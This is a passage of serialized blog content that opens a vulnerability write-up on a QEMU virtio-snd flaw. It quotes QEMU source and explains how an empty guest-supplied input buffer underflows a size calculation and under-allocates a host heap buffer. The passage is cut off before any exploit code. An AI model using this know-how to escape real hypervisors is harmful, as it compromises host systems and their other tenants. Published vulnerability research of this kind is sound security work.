it.",{"type":22,"tag":4880,"props":125206,"children":125207},{},[125208],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":125210},[125211,125212,125215,125221,125222,125230,125236,125239,125240,125244],{"id":109507,"depth":142,"text":109510},{"id":109649,"depth":142,"text":109652,"children":125213},[125214],{"id":109655,"depth":177,"text":109658},{"id":110084,"depth":142,"text":110087,"children":125216},[125217,125218,125219,125220],{"id":110095,"depth":177,"text":110098},{"id":110283,"depth":177,"text":110286},{"id":113664,"depth":177,"text":113667},{"id":114878,"depth":177,"text":114881},{"id":116515,"depth":142,"text":116518},{"id":117021,"depth":142,"text":117024,"children":125223},[125224,125225,125226,125227,125228,125229],{"id":117043,"depth":177,"text":117046},{"id":118368,"depth":177,"text":109462},{"id":119504,"depth":177,"text":119507},{"id":120172,"depth":177,"text":120175},{"id":122828,"depth":177,"text":122831},{"id":123382,"depth":177,"text":109486},{"id":124311,"depth":142,"text":124314,"children":125231},[125232,125233,125234,125235],{"id":124322,"depth":177,"text":124325},{"id":124492,"depth":177,"text":124495},{"id":124516,"depth":177,"text":124519},{"id":124532,"depth":177,"text":124535},{"id":124546,"depth":142,"text":124549,"children":125237},[125238],{"id":124552,"depth":177,"text":124555},{"id":124586,"depth":142,"text":124589},{"id":124763,"depth":142,"text":109499,"children":125241},[125242,125243],{"id":125096,"depth":177,"text":109456},{"id":125125,"depth":177,"text":109462},{"id":125156,"depth":142,"text":125159},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":125249,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":125250,"description":125251,"date":125252,"author":125253,"image":125254,"isFeatured":15,"onBlogPage":15,"tags":125256,"body":125259,"_type":4896,"_id":133545,"_source":4898,"_file":133546,"_stem":133547,"_extension":4901},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":125255,"width":98864,"height":13},"/posts/virtio-snd-qemu-0day/title.png",[125257,125258],"qemu","heap-overflow",{"type":19,"children":125260,"toc":133527},[125261,125266,125271,125276,125282,125287,125292,125300,125306,125318,125322,125327,125335,125340,125346,125351,125364,125974,126009,126054,126088,126123,126258,126306,126312,126317,127073,127118,127154,127189,127254,127274,127724,127771,127774,127779,127844,127870,127892,127896,127901,127906,127912,127917,127922,127927,127933,127946,127952,127957,127965,128035,128040,128046,128059,128285,128348,128367,128750,128755,128788,128793,129069,129081,129099,129378,129390,129393,129428,129433,129439,129451,129463,129468,129473,129483,129518,130135,130167,130178,130214,130227,130233,130245,130253,130279,130284,130317,130358,130364,130383,130421,130429,130478,130483,130532,130537,130545,130632,130638,130677,130689,130697,130715,130734,130742,130754,130762,130781,130789,130800,130808,130819,130827,130840,130848,130854,130859,130872,130880,130898,130906,130918,130923,130931,130967,131000,131007,131041,131049,131054,131060,131072,131083,131362,131422,131490,131498,131532,132136,132147,132155,132161,132166,132177,132931,132964,132976,133062,133082,133291,133338,133350,133356,133375,133401,133429,133445,133472,133475,133495,133509,133513,133518,133523],{"type":22,"tag":31,"props":125262,"children":125263},{},[125264],{"type":28,"value":125265},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":22,"tag":23,"props":125267,"children":125268},{"id":125257},[125269],{"type":28,"value":125270},"QEMU",{"type":22,"tag":31,"props":125272,"children":125273},{},[125274],{"type":28,"value":125275},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":22,"tag":1289,"props":125277,"children":125279},{"id":125278},"virtio-devices",[125280],{"type":28,"value":125281},"Virtio Devices",{"type":22,"tag":31,"props":125283,"children":125284},{},[125285],{"type":28,"value":125286},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":22,"tag":31,"props":125288,"children":125289},{},[125290],{"type":28,"value":125291},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":22,"tag":31,"props":125293,"children":125294},{},[125295],{"type":22,"tag":5928,"props":125296,"children":125299},{"alt":125297,"src":125298},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":22,"tag":23,"props":125301,"children":125303},{"id":125302},"finding-a-bug",[125304],{"type":28,"value":125305},"Finding a Bug",{"type":22,"tag":31,"props":125307,"children":125308},{},[125309,125311,125317],{"type":28,"value":125310},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":22,"tag":114,"props":125312,"children":125314},{"className":125313},[],[125315],{"type":28,"value":125316},"virtio-snd",{"type":28,"value":292},{"type":22,"tag":1289,"props":125319,"children":125320},{"id":125316},[125321],{"type":28,"value":125316},{"type":22,"tag":31,"props":125323,"children":125324},{},[125325],{"type":28,"value":125326},"From the official documentation:",{"type":22,"tag":1269,"props":125328,"children":125329},{},[125330],{"type":22,"tag":31,"props":125331,"children":125332},{},[125333],{"type":28,"value":125334},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":22,"tag":31,"props":125336,"children":125337},{},[125338],{"type":28,"value":125339},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":22,"tag":1899,"props":125341,"children":125343},{"id":125342},"audio-data-buffers",[125344],{"type":28,"value":125345},"Audio Data Buffers",{"type":22,"tag":31,"props":125347,"children":125348},{},[125349],{"type":28,"value":125350},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":22,"tag":31,"props":125352,"children":125353},{},[125354,125356,125362],{"type":28,"value":125355},"For example, the following is ",{"type":22,"tag":114,"props":125357,"children":125359},{"className":125358},[],[125360],{"type":28,"value":125361},"virtio_snd_handle_rx_xfer",{"type":28,"value":125363},", which is responsible for allocating buffers for an input audio stream:",{"type":22,"tag":107,"props":125365,"children":125367},{"code":125366,"language":5169,"meta":7,"className":18481,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[125368],{"type":22,"tag":114,"props":125369,"children":125370},{"__ignoreMap":7},[125371,125378,125386,125394,125401,125409,125417,125425,125473,125480,125497,125504,125511,125523,125540,125547,125583,125603,125614,125621,125628,125636,125643,125676,125735,125753,125792,125817,125841,125869,125896,125934,125941,125953,125960,125967],{"type":22,"tag":118,"props":125372,"children":125373},{"class":120,"line":121},[125374],{"type":22,"tag":118,"props":125375,"children":125376},{"style":257},[125377],{"type":28,"value":51306},{"type":22,"tag":118,"props":125379,"children":125380},{"class":120,"line":142},[125381],{"type":22,"tag":118,"props":125382,"children":125383},{"style":257},[125384],{"type":28,"value":125385}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":22,"tag":118,"props":125387,"children":125388},{"class":120,"line":177},[125389],{"type":22,"tag":118,"props":125390,"children":125391},{"style":257},[125392],{"type":28,"value":125393}," * respective streams for consumption.\n",{"type":22,"tag":118,"props":125395,"children":125396},{"class":120,"line":195},[125397],{"type":22,"tag":118,"props":125398,"children":125399},{"style":257},[125400],{"type":28,"value":21456},{"type":22,"tag":118,"props":125402,"children":125403},{"class":120,"line":244},[125404],{"type":22,"tag":118,"props":125405,"children":125406},{"style":257},[125407],{"type":28,"value":125408}," * @vdev: VirtIOSound device\n",{"type":22,"tag":118,"props":125410,"children":125411},{"class":120,"line":253},[125412],{"type":22,"tag":118,"props":125413,"children":125414},{"style":257},[125415],{"type":28,"value":125416}," * @vq: rx virtqueue\n",{"type":22,"tag":118,"props":125418,"children":125419},{"class":120,"line":263},[125420],{"type":22,"tag":118,"props":125421,"children":125422},{"style":257},[125423],{"type":28,"value":125424}," */\n",{"type":22,"tag":118,"props":125426,"children":125427},{"class":120,"line":318},[125428,125432,125436,125441,125446,125450,125455,125460,125464,125469],{"type":22,"tag":118,"props":125429,"children":125430},{"style":146},[125431],{"type":28,"value":52985},{"type":22,"tag":118,"props":125433,"children":125434},{"style":146},[125435],{"type":28,"value":52990},{"type":22,"tag":118,"props":125437,"children":125438},{"style":532},[125439],{"type":28,"value":125440}," virtio_snd_handle_rx_xfer",{"type":22,"tag":118,"props":125442,"children":125443},{"style":125},[125444],{"type":28,"value":125445},"(VirtIODevice ",{"type":22,"tag":118,"props":125447,"children":125448},{"style":210},[125449],{"type":28,"value":671},{"type":22,"tag":118,"props":125451,"children":125452},{"style":204},[125453],{"type":28,"value":125454},"vdev",{"type":22,"tag":118,"props":125456,"children":125457},{"style":125},[125458],{"type":28,"value":125459},", VirtQueue ",{"type":22,"tag":118,"props":125461,"children":125462},{"style":210},[125463],{"type":28,"value":671},{"type":22,"tag":118,"props":125465,"children":125466},{"style":204},[125467],{"type":28,"value":125468},"vq",{"type":22,"tag":118,"props":125470,"children":125471},{"style":125},[125472],{"type":28,"value":3665},{"type":22,"tag":118,"props":125474,"children":125475},{"class":120,"line":351},[125476],{"type":22,"tag":118,"props":125477,"children":125478},{"style":125},[125479],{"type":28,"value":12879},{"type":22,"tag":118,"props":125481,"children":125482},{"class":120,"line":359},[125483,125488,125492],{"type":22,"tag":118,"props":125484,"children":125485},{"style":125},[125486],{"type":28,"value":125487},"    VirtQueueElement ",{"type":22,"tag":118,"props":125489,"children":125490},{"style":210},[125491],{"type":28,"value":671},{"type":22,"tag":118,"props":125493,"children":125494},{"style":125},[125495],{"type":28,"value":125496},"elem;\n",{"type":22,"tag":118,"props":125498,"children":125499},{"class":120,"line":368},[125500],{"type":22,"tag":118,"props":125501,"children":125502},{"style":125},[125503],{"type":28,"value":106397},{"type":22,"tag":118,"props":125505,"children":125506},{"class":120,"line":384},[125507],{"type":22,"tag":118,"props":125508,"children":125509},{"emptyLinePlaceholder":15},[125510],{"type":28,"value":250},{"type":22,"tag":118,"props":125512,"children":125513},{"class":120,"line":417},[125514,125518],{"type":22,"tag":118,"props":125515,"children":125516},{"style":1480},[125517],{"type":28,"value":5059},{"type":22,"tag":118,"props":125519,"children":125520},{"style":125},[125521],{"type":28,"value":125522}," (;;) {\n",{"type":22,"tag":118,"props":125524,"children":125525},{"class":120,"line":425},[125526,125531,125535],{"type":22,"tag":118,"props":125527,"children":125528},{"style":125},[125529],{"type":28,"value":125530},"        VirtIOSoundPCMStream ",{"type":22,"tag":118,"props":125532,"children":125533},{"style":210},[125534],{"type":28,"value":671},{"type":22,"tag":118,"props":125536,"children":125537},{"style":125},[125538],{"type":28,"value":125539},"stream;\n",{"type":22,"tag":118,"props":125541,"children":125542},{"class":120,"line":441},[125543],{"type":22,"tag":118,"props":125544,"children":125545},{"emptyLinePlaceholder":15},[125546],{"type":28,"value":250},{"type":22,"tag":118,"props":125548,"children":125549},{"class":120,"line":475},[125550,125555,125559,125564,125569,125573,125578],{"type":22,"tag":118,"props":125551,"children":125552},{"style":125},[125553],{"type":28,"value":125554},"        elem ",{"type":22,"tag":118,"props":125556,"children":125557},{"style":210},[125558],{"type":28,"value":282},{"type":22,"tag":118,"props":125560,"children":125561},{"style":532},[125562],{"type":28,"value":125563}," virtqueue_pop",{"type":22,"tag":118,"props":125565,"children":125566},{"style":125},[125567],{"type":28,"value":125568},"(vq, ",{"type":22,"tag":118,"props":125570,"children":125571},{"style":146},[125572],{"type":28,"value":57269},{"type":22,"tag":118,"props":125574,"children":125575},{"style":125},[125576],{"type":28,"value":125577},"(VirtQueueElement));",{"type":22,"tag":118,"props":125579,"children":125580},{"style":257},[125581],{"type":28,"value":125582},"     // [1]\n",{"type":22,"tag":118,"props":125584,"children":125585},{"class":120,"line":484},[125586,125590,125594,125598],{"type":22,"tag":118,"props":125587,"children":125588},{"style":1480},[125589],{"type":28,"value":5293},{"type":22,"tag":118,"props":125591,"children":125592},{"style":125},[125593],{"type":28,"value":842},{"type":22,"tag":118,"props":125595,"children":125596},{"style":210},[125597],{"type":28,"value":22581},{"type":22,"tag":118,"props":125599,"children":125600},{"style":125},[125601],{"type":28,"value":125602},"elem) {\n",{"type":22,"tag":118,"props":125604,"children":125605},{"class":120,"line":492},[125606,125610],{"type":22,"tag":118,"props":125607,"children":125608},{"style":1480},[125609],{"type":28,"value":5318},{"type":22,"tag":118,"props":125611,"children":125612},{"style":125},[125613],{"type":28,"value":801},{"type":22,"tag":118,"props":125615,"children":125616},{"class":120,"line":501},[125617],{"type":22,"tag":118,"props":125618,"children":125619},{"style":125},[125620],{"type":28,"value":1835},{"type":22,"tag":118,"props":125622,"children":125623},{"class":120,"line":519},[125624],{"type":22,"tag":118,"props":125625,"children":125626},{"emptyLinePlaceholder":15},[125627],{"type":28,"value":250},{"type":22,"tag":118,"props":125629,"children":125630},{"class":120,"line":606},[125631],{"type":22,"tag":118,"props":125632,"children":125633},{"style":125},[125634],{"type":28,"value":125635},"        [...]\n",{"type":22,"tag":118,"props":125637,"children":125638},{"class":120,"line":615},[125639],{"type":22,"tag":118,"props":125640,"children":125641},{"emptyLinePlaceholder":15},[125642],{"type":28,"value":250},{"type":22,"tag":118,"props":125644,"children":125645},{"class":120,"line":685},[125646,125651,125655,125659,125663,125667,125672],{"type":22,"tag":118,"props":125647,"children":125648},{"style":532},[125649],{"type":28,"value":125650},"        WITH_QEMU_LOCK_GUARD",{"type":22,"tag":118,"props":125652,"children":125653},{"style":125},[125654],{"type":28,"value":540},{"type":22,"tag":118,"props":125656,"children":125657},{"style":210},[125658],{"type":28,"value":1407},{"type":22,"tag":118,"props":125660,"children":125661},{"style":204},[125662],{"type":28,"value":38202},{"type":22,"tag":118,"props":125664,"children":125665},{"style":125},[125666],{"type":28,"value":593},{"type":22,"tag":118,"props":125668,"children":125669},{"style":204},[125670],{"type":28,"value":125671},"queue_mutex",{"type":22,"tag":118,"props":125673,"children":125674},{"style":125},[125675],{"type":28,"value":16783},{"type":22,"tag":118,"props":125677,"children":125678},{"class":120,"line":699},[125679,125684,125688,125693,125697,125701,125705,125710,125714,125718,125722,125727,125731],{"type":22,"tag":118,"props":125680,"children":125681},{"style":125},[125682],{"type":28,"value":125683},"            size ",{"type":22,"tag":118,"props":125685,"children":125686},{"style":210},[125687],{"type":28,"value":282},{"type":22,"tag":118,"props":125689,"children":125690},{"style":532},[125691],{"type":28,"value":125692}," iov_size",{"type":22,"tag":118,"props":125694,"children":125695},{"style":125},[125696],{"type":28,"value":540},{"type":22,"tag":118,"props":125698,"children":125699},{"style":204},[125700],{"type":28,"value":54005},{"type":22,"tag":118,"props":125702,"children":125703},{"style":125},[125704],{"type":28,"value":593},{"type":22,"tag":118,"props":125706,"children":125707},{"style":204},[125708],{"type":28,"value":125709},"in_sg",{"type":22,"tag":118,"props":125711,"children":125712},{"style":125},[125713],{"type":28,"value":231},{"type":22,"tag":118,"props":125715,"children":125716},{"style":204},[125717],{"type":28,"value":54005},{"type":22,"tag":118,"props":125719,"children":125720},{"style":125},[125721],{"type":28,"value":593},{"type":22,"tag":118,"props":125723,"children":125724},{"style":204},[125725],{"type":28,"value":125726},"in_num",{"type":22,"tag":118,"props":125728,"children":125729},{"style":125},[125730],{"type":28,"value":588},{"type":22,"tag":118,"props":125732,"children":125733},{"style":210},[125734],{"type":28,"value":52802},{"type":22,"tag":118,"props":125736,"children":125737},{"class":120,"line":729},[125738,125743,125748],{"type":22,"tag":118,"props":125739,"children":125740},{"style":146},[125741],{"type":28,"value":125742},"                sizeof",{"type":22,"tag":118,"props":125744,"children":125745},{"style":125},[125746],{"type":28,"value":125747},"(virtio_snd_pcm_status);",{"type":22,"tag":118,"props":125749,"children":125750},{"style":257},[125751],{"type":28,"value":125752},"                  // [2]\n",{"type":22,"tag":118,"props":125754,"children":125755},{"class":120,"line":771},[125756,125761,125765,125770,125774,125778,125783,125787],{"type":22,"tag":118,"props":125757,"children":125758},{"style":125},[125759],{"type":28,"value":125760},"            buffer ",{"type":22,"tag":118,"props":125762,"children":125763},{"style":210},[125764],{"type":28,"value":282},{"type":22,"tag":118,"props":125766,"children":125767},{"style":532},[125768],{"type":28,"value":125769}," g_malloc0",{"type":22,"tag":118,"props":125771,"children":125772},{"style":125},[125773],{"type":28,"value":540},{"type":22,"tag":118,"props":125775,"children":125776},{"style":146},[125777],{"type":28,"value":57269},{"type":22,"tag":118,"props":125779,"children":125780},{"style":125},[125781],{"type":28,"value":125782},"(VirtIOSoundPCMBuffer) ",{"type":22,"tag":118,"props":125784,"children":125785},{"style":210},[125786],{"type":28,"value":3220},{"type":22,"tag":118,"props":125788,"children":125789},{"style":125},[125790],{"type":28,"value":125791}," size);\n",{"type":22,"tag":118,"props":125793,"children":125794},{"class":120,"line":785},[125795,125800,125804,125808,125812],{"type":22,"tag":118,"props":125796,"children":125797},{"style":204},[125798],{"type":28,"value":125799},"            buffer",{"type":22,"tag":118,"props":125801,"children":125802},{"style":125},[125803],{"type":28,"value":593},{"type":22,"tag":118,"props":125805,"children":125806},{"style":204},[125807],{"type":28,"value":54005},{"type":22,"tag":118,"props":125809,"children":125810},{"style":210},[125811],{"type":28,"value":837},{"type":22,"tag":118,"props":125813,"children":125814},{"style":125},[125815],{"type":28,"value":125816}," elem;\n",{"type":22,"tag":118,"props":125818,"children":125819},{"class":120,"line":804},[125820,125824,125828,125832,125836],{"type":22,"tag":118,"props":125821,"children":125822},{"style":204},[125823],{"type":28,"value":125799},{"type":22,"tag":118,"props":125825,"children":125826},{"style":125},[125827],{"type":28,"value":593},{"type":22,"tag":118,"props":125829,"children":125830},{"style":204},[125831],{"type":28,"value":125468},{"type":22,"tag":118,"props":125833,"children":125834},{"style":210},[125835],{"type":28,"value":837},{"type":22,"tag":118,"props":125837,"children":125838},{"style":125},[125839],{"type":28,"value":125840}," vq;\n",{"type":22,"tag":118,"props":125842,"children":125843},{"class":120,"line":812},[125844,125848,125852,125857,125861,125865],{"type":22,"tag":118,"props":125845,"children":125846},{"style":204},[125847],{"type":28,"value":125799},{"type":22,"tag":118,"props":125849,"children":125850},{"style":125},[125851],{"type":28,"value":593},{"type":22,"tag":118,"props":125853,"children":125854},{"style":204},[125855],{"type":28,"value":125856},"size",{"type":22,"tag":118,"props":125858,"children":125859},{"style":210},[125860],{"type":28,"value":837},{"type":22,"tag":118,"props":125862,"children":125863},{"style":674},[125864],{"type":28,"value":5074},{"type":22,"tag":118,"props":125866,"children":125867},{"style":125},[125868],{"type":28,"value":801},{"type":22,"tag":118,"props":125870,"children":125871},{"class":120,"line":821},[125872,125876,125880,125884,125888,125892],{"type":22,"tag":118,"props":125873,"children":125874},{"style":204},[125875],{"type":28,"value":125799},{"type":22,"tag":118,"props":125877,"children":125878},{"style":125},[125879],{"type":28,"value":593},{"type":22,"tag":118,"props":125881,"children":125882},{"style":204},[125883],{"type":28,"value":15885},{"type":22,"tag":118,"props":125885,"children":125886},{"style":210},[125887],{"type":28,"value":837},{"type":22,"tag":118,"props":125889,"children":125890},{"style":674},[125891],{"type":28,"value":5074},{"type":22,"tag":118,"props":125893,"children":125894},{"style":125},[125895],{"type":28,"value":801},{"type":22,"tag":118,"props":125897,"children":125898},{"class":120,"line":900},[125899,125904,125908,125912,125916,125920,125925,125930],{"type":22,"tag":118,"props":125900,"children":125901},{"style":532},[125902],{"type":28,"value":125903},"            QSIMPLEQ_INSERT_TAIL",{"type":22,"tag":118,"props":125905,"children":125906},{"style":125},[125907],{"type":28,"value":540},{"type":22,"tag":118,"props":125909,"children":125910},{"style":210},[125911],{"type":28,"value":1407},{"type":22,"tag":118,"props":125913,"children":125914},{"style":204},[125915],{"type":28,"value":38202},{"type":22,"tag":118,"props":125917,"children":125918},{"style":125},[125919],{"type":28,"value":593},{"type":22,"tag":118,"props":125921,"children":125922},{"style":204},[125923],{"type":28,"value":125924},"queue",{"type":22,"tag":118,"props":125926,"children":125927},{"style":125},[125928],{"type":28,"value":125929},", buffer, entry);",{"type":22,"tag":118,"props":125931,"children":125932},{"style":257},[125933],{"type":28,"value":54570},{"type":22,"tag":118,"props":125935,"children":125936},{"class":120,"line":913},[125937],{"type":22,"tag":118,"props":125938,"children":125939},{"style":125},[125940],{"type":28,"value":1835},{"type":22,"tag":118,"props":125942,"children":125943},{"class":120,"line":953},[125944,125949],{"type":22,"tag":118,"props":125945,"children":125946},{"style":1480},[125947],{"type":28,"value":125948},"        continue",{"type":22,"tag":118,"props":125950,"children":125951},{"style":125},[125952],{"type":28,"value":801},{"type":22,"tag":118,"props":125954,"children":125955},{"class":120,"line":982},[125956],{"type":22,"tag":118,"props":125957,"children":125958},{"emptyLinePlaceholder":15},[125959],{"type":28,"value":250},{"type":22,"tag":118,"props":125961,"children":125962},{"class":120,"line":995},[125963],{"type":22,"tag":118,"props":125964,"children":125965},{"style":125},[125966],{"type":28,"value":125635},{"type":22,"tag":118,"props":125968,"children":125969},{"class":120,"line":1011},[125970],{"type":22,"tag":118,"props":125971,"children":125972},{"style":125},[125973],{"type":28,"value":481},{"type":22,"tag":31,"props":125975,"children":125976},{},[125977,125979,125985,125987,125993,125995,126000,126001,126007],{"type":28,"value":125978},"At ",{"type":22,"tag":114,"props":125980,"children":125982},{"className":125981},[],[125983],{"type":28,"value":125984},"[1]",{"type":28,"value":125986},", a ",{"type":22,"tag":114,"props":125988,"children":125990},{"className":125989},[],[125991],{"type":28,"value":125992},"VirtQueueElement *elem",{"type":28,"value":125994}," is popped from the virtqueue. It contains the ",{"type":22,"tag":114,"props":125996,"children":125998},{"className":125997},[],[125999],{"type":28,"value":125709},{"type":28,"value":12991},{"type":22,"tag":114,"props":126002,"children":126004},{"className":126003},[],[126005],{"type":28,"value":126006},"out_sg",{"type":28,"value":126008}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":22,"tag":31,"props":126010,"children":126011},{},[126012,126014,126020,126022,126028,126030,126036,126038,126044,126046,126052],{"type":28,"value":126013},"Further at ",{"type":22,"tag":114,"props":126015,"children":126017},{"className":126016},[],[126018],{"type":28,"value":126019},"[2]",{"type":28,"value":126021},", the device computes the size of the data buffer as ",{"type":22,"tag":114,"props":126023,"children":126025},{"className":126024},[],[126026],{"type":28,"value":126027},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":28,"value":126029},". That value is then used in the allocation: ",{"type":22,"tag":114,"props":126031,"children":126033},{"className":126032},[],[126034],{"type":28,"value":126035},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":28,"value":126037},". Finally, at ",{"type":22,"tag":114,"props":126039,"children":126041},{"className":126040},[],[126042],{"type":28,"value":126043},"[3]",{"type":28,"value":126045},", the newly allocated buffer is appended to the ",{"type":22,"tag":114,"props":126047,"children":126049},{"className":126048},[],[126050],{"type":28,"value":126051},"stream->queue",{"type":28,"value":126053}," linked list.",{"type":22,"tag":31,"props":126055,"children":126056},{},[126057,126059,126064,126066,126071,126073,126078,126080,126086],{"type":28,"value":126058},"Because both the ",{"type":22,"tag":114,"props":126060,"children":126062},{"className":126061},[],[126063],{"type":28,"value":125709},{"type":28,"value":126065}," iovec and the ",{"type":22,"tag":114,"props":126067,"children":126069},{"className":126068},[],[126070],{"type":28,"value":125726},{"type":28,"value":126072}," field are guest-controlled, and there is no check that the total ",{"type":22,"tag":114,"props":126074,"children":126076},{"className":126075},[],[126077],{"type":28,"value":125709},{"type":28,"value":126079}," size is at least ",{"type":22,"tag":114,"props":126081,"children":126083},{"className":126082},[],[126084],{"type":28,"value":126085},"sizeof(virtio_snd_pcm_status)",{"type":28,"value":126087},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":22,"tag":31,"props":126089,"children":126090},{},[126091,126093,126098,126100,126106,126108,126114,126116,126122],{"type":28,"value":126092},"From the guest driver, we can provide an empty ",{"type":22,"tag":114,"props":126094,"children":126096},{"className":126095},[],[126097],{"type":28,"value":125709},{"type":28,"value":126099}," iovec. In that case, the calculation becomes ",{"type":22,"tag":114,"props":126101,"children":126103},{"className":126102},[],[126104],{"type":28,"value":126105},"0 - sizeof(virtio_snd_pcm_status)",{"type":28,"value":126107},", so the allocation size effectively becomes ",{"type":22,"tag":114,"props":126109,"children":126111},{"className":126110},[],[126112],{"type":28,"value":126113},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":28,"value":126115},". Given the definition of ",{"type":22,"tag":114,"props":126117,"children":126119},{"className":126118},[],[126120],{"type":28,"value":126121},"VirtIOSoundPCMBuffer",{"type":28,"value":213},{"type":22,"tag":107,"props":126124,"children":126126},{"code":126125,"language":5169,"meta":7,"className":18481,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[126127],{"type":22,"tag":114,"props":126128,"children":126129},{"__ignoreMap":7},[126130,126142,126155,126170,126187,126199,126211,126219,126231,126251],{"type":22,"tag":118,"props":126131,"children":126132},{"class":120,"line":121},[126133,126137],{"type":22,"tag":118,"props":126134,"children":126135},{"style":146},[126136],{"type":28,"value":11399},{"type":22,"tag":118,"props":126138,"children":126139},{"style":125},[126140],{"type":28,"value":126141}," VirtIOSoundPCMBuffer {\n",{"type":22,"tag":118,"props":126143,"children":126144},{"class":120,"line":142},[126145,126150],{"type":22,"tag":118,"props":126146,"children":126147},{"style":532},[126148],{"type":28,"value":126149},"    QSIMPLEQ_ENTRY",{"type":22,"tag":118,"props":126151,"children":126152},{"style":125},[126153],{"type":28,"value":126154},"(VirtIOSoundPCMBuffer) entry;\n",{"type":22,"tag":118,"props":126156,"children":126157},{"class":120,"line":177},[126158,126162,126166],{"type":22,"tag":118,"props":126159,"children":126160},{"style":125},[126161],{"type":28,"value":125487},{"type":22,"tag":118,"props":126163,"children":126164},{"style":210},[126165],{"type":28,"value":671},{"type":22,"tag":118,"props":126167,"children":126168},{"style":125},[126169],{"type":28,"value":125496},{"type":22,"tag":118,"props":126171,"children":126172},{"class":120,"line":195},[126173,126178,126182],{"type":22,"tag":118,"props":126174,"children":126175},{"style":125},[126176],{"type":28,"value":126177},"    VirtQueue ",{"type":22,"tag":118,"props":126179,"children":126180},{"style":210},[126181],{"type":28,"value":671},{"type":22,"tag":118,"props":126183,"children":126184},{"style":125},[126185],{"type":28,"value":126186},"vq;\n",{"type":22,"tag":118,"props":126188,"children":126189},{"class":120,"line":244},[126190,126194],{"type":22,"tag":118,"props":126191,"children":126192},{"style":146},[126193],{"type":28,"value":18531},{"type":22,"tag":118,"props":126195,"children":126196},{"style":125},[126197],{"type":28,"value":126198}," size;\n",{"type":22,"tag":118,"props":126200,"children":126201},{"class":120,"line":253},[126202,126206],{"type":22,"tag":118,"props":126203,"children":126204},{"style":146},[126205],{"type":28,"value":57553},{"type":22,"tag":118,"props":126207,"children":126208},{"style":125},[126209],{"type":28,"value":126210}," offset;\n",{"type":22,"tag":118,"props":126212,"children":126213},{"class":120,"line":263},[126214],{"type":22,"tag":118,"props":126215,"children":126216},{"style":257},[126217],{"type":28,"value":126218},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":22,"tag":118,"props":126220,"children":126221},{"class":120,"line":318},[126222,126226],{"type":22,"tag":118,"props":126223,"children":126224},{"style":146},[126225],{"type":28,"value":48413},{"type":22,"tag":118,"props":126227,"children":126228},{"style":125},[126229],{"type":28,"value":126230}," populated;\n",{"type":22,"tag":118,"props":126232,"children":126233},{"class":120,"line":351},[126234,126238,126242,126247],{"type":22,"tag":118,"props":126235,"children":126236},{"style":146},[126237],{"type":28,"value":60398},{"type":22,"tag":118,"props":126239,"children":126240},{"style":125},[126241],{"type":28,"value":17081},{"type":22,"tag":118,"props":126243,"children":126244},{"style":146},[126245],{"type":28,"value":126246},"[]",{"type":22,"tag":118,"props":126248,"children":126249},{"style":125},[126250],{"type":28,"value":801},{"type":22,"tag":118,"props":126252,"children":126253},{"class":120,"line":359},[126254],{"type":22,"tag":118,"props":126255,"children":126256},{"style":125},[126257],{"type":28,"value":4277},{"type":22,"tag":31,"props":126259,"children":126260},{},[126261,126263,126269,126271,126276,126278,126283,126285,126290,126292,126297,126299,126305],{"type":28,"value":126262},"That under-allocation removes the 